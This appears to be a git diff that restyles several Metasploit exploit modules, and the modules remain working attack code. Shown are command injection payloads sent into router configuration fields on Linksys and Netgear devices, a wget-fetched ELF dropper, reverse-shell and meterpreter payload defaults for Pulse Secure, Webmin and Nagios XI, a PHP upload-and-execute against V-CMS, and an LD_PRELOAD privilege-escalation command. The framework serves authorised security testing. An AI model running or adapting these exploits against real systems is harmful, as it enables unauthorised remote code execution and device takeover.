'wan_dns0_0' => @wan_dns0_0_orig.to_s, - 'wan_dns0_1' => @wan_dns0_1_orig.to_s, - 'wan_dns0_2' => @wan_dns0_2_orig.to_s, - 'wan_dns0_3' => @wan_dns0_3_orig.to_s, - 'wan_dns1_0' => @wan_dns1_0_orig.to_s, - 'wan_dns1_1' => @wan_dns1_1_orig.to_s, - 'wan_dns1_2' => @wan_dns1_2_orig.to_s, - 'wan_dns1_3' => @wan_dns1_3_orig.to_s, - 'wan_dns2_0' => @wan_dns2_0_orig.to_s, - 'wan_dns2_1' => @wan_dns2_1_orig.to_s, - 'wan_dns2_2' => @wan_dns2_2_orig.to_s, - 'wan_dns2_3' => @wan_dns2_3_orig.to_s, - 'wan_wins' => @wan_wins_orig.to_s, - 'wan_wins_0' => @wan_wins_0_orig.to_s, - 'wan_wins_1' => @wan_wins_1_orig.to_s, - 'wan_wins_2' => @wan_wins_2_orig.to_s, - 'wan_wins_3' => @wan_wins_3_orig.to_s, - 'time_zone' => "-08+1+1", # default is ok - '_daylight_time' => '1' # default is ok - } - }) - return res - rescue ::Rex::ConnectionError - vprint_error("#{rhost} - Failed to connect to the web server") - return nil - end + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'authorization' => basic_auth(user, pass), + 'encode_params' => false, + 'vars_post' => { + 'submit_button' => 'index', + 'change_action' => '1', + 'submit_type' => '1', + 'action' => 'Apply', + 'now_proto' => @now_proto_orig.to_s, + 'daylight_time' => @daylight_time_orig.to_s, + 'lan_ipaddr' => @lan_ipaddr_orig.to_s, + 'wait_time' => @wait_time_orig.to_s, + 'need_reboot' => @need_reboot_orig.to_s, + 'ui_language' => @ui_language_orig, + 'wan_proto' => @wan_proto_orig.to_s, + 'router_name' => @router_name_orig.to_s, + 'wan_hostname' => cmd, + 'wan_domain' => @wan_domain_orig.to_s, + 'mtu_enable' => @mtu_enable.to_s, + 'wan_mtu' => @wan_mtu_orig.to_s, + 'lan_ipaddr_0' => @lan_ipaddr_0_orig.to_s, + 'lan_ipaddr_1' => @lan_ipaddr_1_orig.to_s, + 'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s, + 'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s, + 'lan_netmask' => "255.255.255.#{@netmask_orig}", + 'lan_proto' => @lan_proto_orig.to_s, + 'dhcp_check' => '1', + 'dhcp_start' => @dhcp_start_orig.to_s, + 'dhcp_num' => @dhcp_num_orig.to_s, + 'dhcp_lease' => @dhcp_lease_orig.to_s, + 'wan_dns' => @wan_dns_orig.to_s, + 'wan_dns0_0' => @wan_dns0_0_orig.to_s, + 'wan_dns0_1' => @wan_dns0_1_orig.to_s, + 'wan_dns0_2' => @wan_dns0_2_orig.to_s, + 'wan_dns0_3' => @wan_dns0_3_orig.to_s, + 'wan_dns1_0' => @wan_dns1_0_orig.to_s, + 'wan_dns1_1' => @wan_dns1_1_orig.to_s, + 'wan_dns1_2' => @wan_dns1_2_orig.to_s, + 'wan_dns1_3' => @wan_dns1_3_orig.to_s, + 'wan_dns2_0' => @wan_dns2_0_orig.to_s, + 'wan_dns2_1' => @wan_dns2_1_orig.to_s, + 'wan_dns2_2' => @wan_dns2_2_orig.to_s, + 'wan_dns2_3' => @wan_dns2_3_orig.to_s, + 'wan_wins' => @wan_wins_orig.to_s, + 'wan_wins_0' => @wan_wins_0_orig.to_s, + 'wan_wins_1' => @wan_wins_1_orig.to_s, + 'wan_wins_2' => @wan_wins_2_orig.to_s, + 'wan_wins_3' => @wan_wins_3_orig.to_s, + 'time_zone' => '-08+1+1', # default is ok + '_daylight_time' => '1' # default is ok + } + }) + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost} - Failed to connect to the web server") + return nil end def exploit - downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) + downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..15)) uri = '/apply.cgi' user = datastore['HttpUsername'] pass = datastore['HttpPassword'] @@ -279,7 +277,7 @@ class MetasploitModule < Msf::Exploit::Remote grab_config(user, pass) if target.name =~ /CMD/ - if not (datastore['CMD']) + if !(datastore['CMD']) fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded @@ -311,7 +309,7 @@ class MetasploitModule < Msf::Exploit::Remote # we use SRVHOST as download IP for the coming wget command. # SRVHOST needs a real IP address of our download host - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] @@ -321,9 +319,9 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { - 'Proc' => Proc.new { |cli, req| + 'Proc' => proc do |cli, req| on_request_uri(cli, req) - }, + end, 'Path' => resource_uri }, 'ssl' => false # do not use SSL @@ -391,9 +389,9 @@ class MetasploitModule < Msf::Exploit::Remote end # Handle incoming requests from the server - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # print_status("on_request_uri called: #{request.inspect}") - if (not @pl) + if (!@pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end @@ -407,7 +405,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 - while (not @elf_sent) + until (@elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) diff --git a/modules/exploits/linux/http/mailcleaner_exec.rb b/modules/exploits/linux/http/mailcleaner_exec.rb index 3bdf3a0f1a..f35f0c55af 100644 --- a/modules/exploits/linux/http/mailcleaner_exec.rb +++ b/modules/exploits/linux/http/mailcleaner_exec.rb @@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "Mailcleaner Remote Code Execution", + 'Name' => 'Mailcleaner Remote Code Execution', 'Description' => %q{ This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root. @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { 'SSL' => true, - 'WfsDelay' => 5, + 'WfsDelay' => 5 }, 'Targets' => [ [ diff --git a/modules/exploits/linux/http/nagios_xi_autodiscovery_webshell.rb b/modules/exploits/linux/http/nagios_xi_autodiscovery_webshell.rb index 8589df1652..a883b4e90f 100644 --- a/modules/exploits/linux/http/nagios_xi_autodiscovery_webshell.rb +++ b/modules/exploits/linux/http/nagios_xi_autodiscovery_webshell.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote 'PAYLOAD' => 'cmd/unix/reverse_openssl' }, 'Payload' => { - 'Append' => ' & disown' + 'Append' => '& disown' } } ], diff --git a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb index 83ed5b9461..245a8035a7 100644 --- a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb @@ -79,35 +79,33 @@ class MetasploitModule < Msf::Exploit::Remote end def request(cmd, user, pass, uri) - begin - res = send_request_cgi( - { - 'uri' => uri, - 'method' => 'POST', - 'authorization' => basic_auth(user, pass), - 'vars_post' => { - "UPnP" => "UPnP", - "AdverTime" => rand_text_numeric(2), - "TimeToLive" => "`#{cmd}`", - "save" => "+Anwenden", - "todo" => "save", - "this_file" => "upnp.htm", - "next_file" => "upnp.htm", - "h_UPnP" => "enable", - "hiddenAdverTime" => rand_text_numeric(2), - "hiddenTimeToLive" => rand_text_numeric(1) - } + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'POST', + 'authorization' => basic_auth(user, pass), + 'vars_post' => { + 'UPnP' => 'UPnP', + 'AdverTime' => rand_text_numeric(2), + 'TimeToLive' => "`#{cmd}`", + 'save' => '+Anwenden', + 'todo' => 'save', + 'this_file' => 'upnp.htm', + 'next_file' => 'upnp.htm', + 'h_UPnP' => 'enable', + 'hiddenAdverTime' => rand_text_numeric(2), + 'hiddenTimeToLive' => rand_text_numeric(1) } - ) - return res - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end + } + ) + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return nil end def exploit - downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) + downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..15)) uri = '/setup.cgi' user = datastore['HttpUsername'] pass = datastore['HttpPassword'] @@ -137,7 +135,7 @@ class MetasploitModule < Msf::Exploit::Remote end if target.name =~ /CMD/ - if not (datastore['CMD']) + if !(datastore['CMD']) fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded @@ -165,7 +163,7 @@ class MetasploitModule < Msf::Exploit::Remote # we use SRVHOST as download IP for the coming wget command. # SRVHOST needs a real IP address of our download host - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] @@ -175,9 +173,9 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { - 'Proc' => Proc.new { |cli, req| + 'Proc' => proc do |cli, req| on_request_uri(cli, req) - }, + end, 'Path' => resource_uri }, 'ssl' => false # do not use SSL @@ -230,9 +228,9 @@ class MetasploitModule < Msf::Exploit::Remote end # Handle incoming requests from the server - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # print_status("on_request_uri called: #{request.inspect}") - if (not @pl) + if (!@pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end @@ -246,7 +244,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 - while (not @elf_sent) + until (@elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) diff --git a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb index 90ab8f2953..332a79278b 100644 --- a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb @@ -82,10 +82,10 @@ class MetasploitModule < Msf::Exploit::Remote def get_config(config, pattern) if config =~ /#{pattern}/ # puts "[*] #{$1}" #debugging - return $1 + return ::Regexp.last_match(1) end - return "" + return '' end def grab_config(user, pass) @@ -151,76 +151,72 @@ class MetasploitModule < Msf::Exploit::Remote end def request(cmd, user, pass, uri) - begin - # original post request - # login_type=PPPoE%28PPP+over+Ethernet%29&pppoe_username=%26%20COMMAND%20%26 - # &pppoe_passwd=69cw20hb&pppoe_servicename=&pppoe_dod=1&pppoe_idletime=5 - # &WANAssign=Dynamic&DNSAssign=0&en_nat=1&MACAssign=0&apply=%C3%9Cbernehmen - # &runtest=yes&wan_ipaddr=0.0.0.0&pppoe_localip=0.0.0.0&wan_dns_sel=0 - # &wan_dns1_pri=0.0.0.0&wan_dns1_sec=...&wan_hwaddr_sel=0 - # &wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05 - # &wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0 - # &pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0 - res = send_request_cgi( - { - 'uri' => uri, - 'method' => 'POST', - 'authorization' => basic_auth(user, pass), - 'encode_params' => false, - 'vars_post' => { - "login_type" => "PPPoE%28PPP+over+Ethernet%29", # default must be ok - "pppoe_username" => cmd, - "pppoe_passwd" => @pppoe_passwd_orig, - "pppoe_servicename" => @pppoe_servicename_orig, - "pppoe_dod" => "1", # default must be ok - "pppoe_idletime" => "5", # default must be ok - "WANAssign" => "Dynamic", # default must be ok - "DNSAssign" => "0", # default must be ok - "en_nat" => "1", # default must be ok - "MACAssign" => "0", # default must be ok - "apply" => @apply_orig, - "runtest" => @runtest_orig, - "wan_ipaddr" => @wan_ipaddr_orig, - "pppoe_localip" => @pppoe_localip_orig, - "wan_dns_sel" => @wan_dns_sel_orig, - "wan_dns1_pri" => @wan_dns1_pri_orig, - "wan_dns1_sec" => @wan_dns1_sec_orig, - "wan_hwaddr_sel" => @wan_hwaddr_sel_orig, - "wan_hwaddr_def" => @wan_hwaddr_def_orig, - "wan_hwaddr2" => @wan_hwaddr2_orig, - "wan_hwaddr_pc" => @wan_hwaddr_pc_orig, - "wan_nat" => @wan_nat_orig, - "pppoe_flet_sel" => @pppoe_flet_sel_orig, - "pppoe_flet_type" => @pppoe_flet_type_orig, - "pppoe_temp" => @pppoe_temp_orig, - "opendns_parental_ctrl" => @opendns_parental_ctrl_orig - } + # original post request + # login_type=PPPoE%28PPP+over+Ethernet%29&pppoe_username=%26%20COMMAND%20%26 + # &pppoe_passwd=69cw20hb&pppoe_servicename=&pppoe_dod=1&pppoe_idletime=5 + # &WANAssign=Dynamic&DNSAssign=0&en_nat=1&MACAssign=0&apply=%C3%9Cbernehmen + # &runtest=yes&wan_ipaddr=0.0.0.0&pppoe_localip=0.0.0.0&wan_dns_sel=0 + # &wan_dns1_pri=0.0.0.0&wan_dns1_sec=...&wan_hwaddr_sel=0 + # &wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05 + # &wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0 + # &pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0 + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'POST', + 'authorization' => basic_auth(user, pass), + 'encode_params' => false, + 'vars_post' => { + 'login_type' => 'PPPoE%28PPP+over+Ethernet%29', # default must be ok + 'pppoe_username' => cmd, + 'pppoe_passwd' => @pppoe_passwd_orig, + 'pppoe_servicename' => @pppoe_servicename_orig, + 'pppoe_dod' => '1', # default must be ok + 'pppoe_idletime' => '5', # default must be ok + 'WANAssign' => 'Dynamic', # default must be ok + 'DNSAssign' => '0', # default must be ok + 'en_nat' => '1', # default must be ok + 'MACAssign' => '0', # default must be ok + 'apply' => @apply_orig, + 'runtest' => @runtest_orig, + 'wan_ipaddr' => @wan_ipaddr_orig, + 'pppoe_localip' => @pppoe_localip_orig, + 'wan_dns_sel' => @wan_dns_sel_orig, + 'wan_dns1_pri' => @wan_dns1_pri_orig, + 'wan_dns1_sec' => @wan_dns1_sec_orig, + 'wan_hwaddr_sel' => @wan_hwaddr_sel_orig, + 'wan_hwaddr_def' => @wan_hwaddr_def_orig, + 'wan_hwaddr2' => @wan_hwaddr2_orig, + 'wan_hwaddr_pc' => @wan_hwaddr_pc_orig, + 'wan_nat' => @wan_nat_orig, + 'pppoe_flet_sel' => @pppoe_flet_sel_orig, + 'pppoe_flet_type' => @pppoe_flet_type_orig, + 'pppoe_temp' => @pppoe_temp_orig, + 'opendns_parental_ctrl' => @opendns_parental_ctrl_orig } - ) - return res - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end + } + ) + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return nil end def logout(user, pass) - begin - res = send_request_cgi({ - 'uri' => '/LGO_logout.htm', - 'method' => 'GET', - 'authorization' => basic_auth(user, pass) - }) - if res.nil? or res.code == 404 - fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful logout possible") - end - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + res = send_request_cgi({ + 'uri' => '/LGO_logout.htm', + 'method' => 'GET', + 'authorization' => basic_auth(user, pass) + }) + if res.nil? or res.code == 404 + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful logout possible") end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end def exploit - downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) + downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..15)) uri = '/pppoe.cgi' user = datastore['HttpUsername'] pass = datastore['HttpPassword'] @@ -251,7 +247,7 @@ class MetasploitModule < Msf::Exploit::Remote grab_config(user, pass) if target.name =~ /CMD/ - if not (datastore['CMD']) + if !(datastore['CMD']) fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded @@ -280,7 +276,7 @@ class MetasploitModule < Msf::Exploit::Remote # we use SRVHOST as download IP for the coming wget command. # SRVHOST needs a real IP address of our download host - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] @@ -290,9 +286,9 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { - 'Proc' => Proc.new { |cli, req| + 'Proc' => proc do |cli, req| on_request_uri(cli, req) - }, + end, 'Path' => resource_uri }, 'ssl' => false # do not use SSL @@ -336,9 +332,9 @@ class MetasploitModule < Msf::Exploit::Remote end # Handle incoming requests from the server - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # print_status("on_request_uri called: #{request.inspect}") - if (not @pl) + if (!@pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end @@ -352,7 +348,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 - while (not @elf_sent) + until (@elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) diff --git a/modules/exploits/linux/http/pulse_secure_cmd_exec.rb b/modules/exploits/linux/http/pulse_secure_cmd_exec.rb index 28b849d9e4..5d68838c01 100644 --- a/modules/exploits/linux/http/pulse_secure_cmd_exec.rb +++ b/modules/exploits/linux/http/pulse_secure_cmd_exec.rb @@ -44,21 +44,25 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Unix In-Memory', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Type' => :unix_memory, - 'Payload' => { - 'BadChars' => %Q(&*(){}[]`;|?\n~<>"'), - 'Encoder' => 'generic/none' # Force manual badchar analysis - }, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' } + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'Payload' => { + 'BadChars' => %(&*(){}[]`;|?\n~<>"'), + 'Encoder' => 'generic/none' # Force manual badchar analysis + }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' } + } ], [ 'Linux Dropper', - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Type' => :linux_dropper, - 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' } + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper, + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' } + } ] ], 'DefaultTarget' => 1, diff --git a/modules/exploits/linux/http/saltstack_salt_wheel_async_rce.rb b/modules/exploits/linux/http/saltstack_salt_wheel_async_rce.rb index 8dfa75ba05..9dd1897841 100644 --- a/modules/exploits/linux/http/saltstack_salt_wheel_async_rce.rb +++ b/modules/exploits/linux/http/saltstack_salt_wheel_async_rce.rb @@ -132,7 +132,7 @@ class MetasploitModule < Msf::Exploit::Remote if res.code == 200 && res.get_json_document['return'] res_json = res.get_json_document['return'].first - if res_json&.key?('tag') && res_json&.key?('jid') + if res_json&.key?('tag') && res_json.key?('jid') return CheckCode::Detected('Salt API responded as expected.') end end diff --git a/modules/exploits/linux/http/vcms_upload.rb b/modules/exploits/linux/http/vcms_upload.rb index 91b7ad9491..05bc5b24f8 100644 --- a/modules/exploits/linux/http/vcms_upload.rb +++ b/modules/exploits/linux/http/vcms_upload.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "V-CMS PHP File Upload and Execute", + 'Name' => 'V-CMS PHP File Upload and Execute', 'Description' => %q{ This module exploits a vulnerability found on V-CMS's inline image upload feature. The problem is due to the inline_image_upload.php file not checking the file type @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote ['URL', 'http://xforce.iss.net/xforce/xfdb/71358'] ], 'Payload' => { - 'BadChars' => "\x00", + 'BadChars' => "\x00" }, 'Platform' => 'php', 'Targets' => [ @@ -69,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET' }) - if res and res.body =~ /V\-CMS v1\.[0-1]/ + if res and res.body =~ /V-CMS v1\.[0-1]/ return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe @@ -83,7 +83,7 @@ class MetasploitModule < Msf::Exploit::Remote base << '/' if base[-1, 1] != '/' @payload_name = "#{rand_text_alpha(5)}.php" - p = get_write_exec_payload(:unlink_self => true) + p = get_write_exec_payload(unlink_self: true) post_data = "------x\r\n" post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n" @@ -101,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Remote }) if res - print_status("#{peer} replies status: #{res.code.to_s}") + print_status("#{peer} replies status: #{res.code}") else print_error("#{peer} No response from server. Will not continue") return diff --git a/modules/exploits/linux/http/webmin_backdoor.rb b/modules/exploits/linux/http/webmin_backdoor.rb index b15a23e9f7..240454e4e4 100644 --- a/modules/exploits/linux/http/webmin_backdoor.rb +++ b/modules/exploits/linux/http/webmin_backdoor.rb @@ -49,23 +49,27 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Automatic (Unix In-Memory)', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Version' => [ - Rex::Version.new('1.890'), Rex::Version.new('1.920') - ], - 'Type' => :unix_memory, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' } + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Version' => [ + Rex::Version.new('1.890'), Rex::Version.new('1.920') + ], + 'Type' => :unix_memory, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' } + } ], [ 'Automatic (Linux Dropper)', - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Version' => [ - Rex::Version.new('1.890'), Rex::Version.new('1.920') - ], - 'Type' => :linux_dropper, - 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Version' => [ + Rex::Version.new('1.890'), Rex::Version.new('1.920') + ], + 'Type' => :linux_dropper, + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } + } ] ], 'DefaultTarget' => 0, @@ -110,7 +114,6 @@ class MetasploitModule < Msf::Exploit::Remote version = Rex::Version.new(version) vprint_status("Webmin #{version} detected") - checkcode = CheckCode::Detected unless version.between?(*target['Version']) vprint_error("Webmin #{version} is not a supported target") @@ -145,7 +148,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit # These CheckCodes are allowed to pass automatically - checkcodes = [ + [ CheckCode::Appears, CheckCode::Vulnerable ] diff --git a/modules/exploits/linux/http/wepresent_cmd_injection.rb b/modules/exploits/linux/http/wepresent_cmd_injection.rb index d0cdf9822c..81fdc8e61e 100644 --- a/modules/exploits/linux/http/wepresent_cmd_injection.rb +++ b/modules/exploits/linux/http/wepresent_cmd_injection.rb @@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "Barco WePresent file_transfer.cgi Command Injection", + 'Name' => 'Barco WePresent file_transfer.cgi Command Injection', 'Description' => %q{ This module exploits an unauthenticated remote command injection vulnerability found in Barco WePresent and related OEM'ed products. @@ -28,24 +28,28 @@ class MetasploitModule < Msf::Exploit::Remote ['EDB', '46786'], ['URL', 'https://medium.com/tenable-techblog/eight-devices-one-exploit-f5fc28c70a7c'] ], - 'DisclosureDate' => "2019-04-30", + 'DisclosureDate' => '2019-04-30', 'Privileged' => false, 'Targets' => [ [ 'Unix In-Memory', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Type' => :unix_memory, - 'Payload' => { - 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnetd' } + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'Payload' => { + 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnetd' } + } } ], [ 'Linux Dropper', - 'Platform' => 'linux', - 'Arch' => ARCH_ARMLE, - 'CmdStagerFlavor' => ['printf', 'wget'], - 'Type' => :linux_dropper + { + 'Platform' => 'linux', + 'Arch' => ARCH_ARMLE, + 'CmdStagerFlavor' => ['printf', 'wget'], + 'Type' => :linux_dropper + } ] ], 'DefaultTarget' => 1, @@ -85,14 +89,14 @@ class MetasploitModule < Msf::Exploit::Remote end def check - check_resp = send_command(";whoami;", 5) + check_resp = send_command(';whoami;', 5) unless check_resp return CheckCode::Unknown('Connection failed.') end if check_resp.code == 200 - check_resp.body.gsub!(/[\r\n]/, "") - if check_resp.body == "root" + check_resp.body.gsub!(/[\r\n]/, '') + if check_resp.body == 'root' return CheckCode::Vulnerable end end diff --git a/modules/exploits/linux/local/bpf_priv_esc.rb b/modules/exploits/linux/local/bpf_priv_esc.rb index ea5b8b4531..e18a0038a1 100644 --- a/modules/exploits/linux/local/bpf_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_priv_esc.rb @@ -192,11 +192,9 @@ class MetasploitModule < Msf::Exploit::Local return CheckCode::Safe end - if version.downcase.include?('ubuntu') && release =~ /^4\.4\.0-(\d+)-/ - if $1.to_i > 21 - vprint_error "Kernel version #{release} is not vulnerable" - return CheckCode::Safe - end + if version.downcase.include?('ubuntu') && release =~ /^4\.4\.0-(\d+)-/ && (::Regexp.last_match(1).to_i > 21) + vprint_error "Kernel version #{release} is not vulnerable" + return CheckCode::Safe end vprint_good "Kernel version #{release} #{version} appears to be vulnerable" @@ -529,7 +527,7 @@ class MetasploitModule < Msf::Exploit::Local register_dir_for_cleanup "#{base_dir}/fuse_mount" cmd_exec "cd #{base_dir}; #{doubleput_path} & echo " sec_waited = 0 - until sec_waited > datastore['MAXWAIT'] do + until sec_waited > datastore['MAXWAIT'] Rex.sleep(5) # check file permissions if setuid? @suidhelper_path diff --git a/modules/exploits/linux/local/desktop_privilege_escalation.rb b/modules/exploits/linux/local/desktop_privilege_escalation.rb index fc8f529778..3a6b5c5898 100644 --- a/modules/exploits/linux/local/desktop_privilege_escalation.rb +++ b/modules/exploits/linux/local/desktop_privilege_escalation.rb @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Local 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS - }, + } } ) ) @@ -86,7 +86,7 @@ class MetasploitModule < Msf::Exploit::Local # Checking before proceeds pl = generate_payload_exe - exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf" + exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(rand(3..7))}.elf" print_status("Writing payload executable to '#{exe_file}'") write_file(exe_file, pl) @@ -99,7 +99,7 @@ class MetasploitModule < Msf::Exploit::Local cpu = Metasm::X86_64.new end lib_data = Metasm::ELF.compile_c(cpu, c_code(exe_file)).encode_string(:lib) - lib_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.so" + lib_file = "#{datastore['WritableDir']}/#{rand_text_alpha(rand(3..7))}.so" print_status("Writing lib file to '#{lib_file}'") write_file(lib_file, lib_data) @@ -133,18 +133,18 @@ class MetasploitModule < Msf::Exploit::Local if m pid = m[1] vprint_status("PID=#{pid}") - print_status("Found process: " + lines[i + 1]) + print_status('Found process: ' + lines[i + 1]) exe = lines[i + 1].match(/^EXE:(\S+)$/)[1] vprint_status("exe=#{exe}") cmdline = [lines[i + 2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00") - vprint_status("CMDLINE=" + cmdline.join(' XXX ')) + vprint_status('CMDLINE=' + cmdline.join(' XXX ')) env = lines[i + 3].match(/^environ:(\w+)$/)[1] restart_command = 'perl -e \'use POSIX setsid;open STDIN,"/dev/null";open STDERR,">/dev/null";exit if fork;setsid();' restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}' - restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map { |x| '"' + x + '"' }.join(", ") + '\'' + restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map { |x| '"' + x + '"' }.join(', ') + '\'' 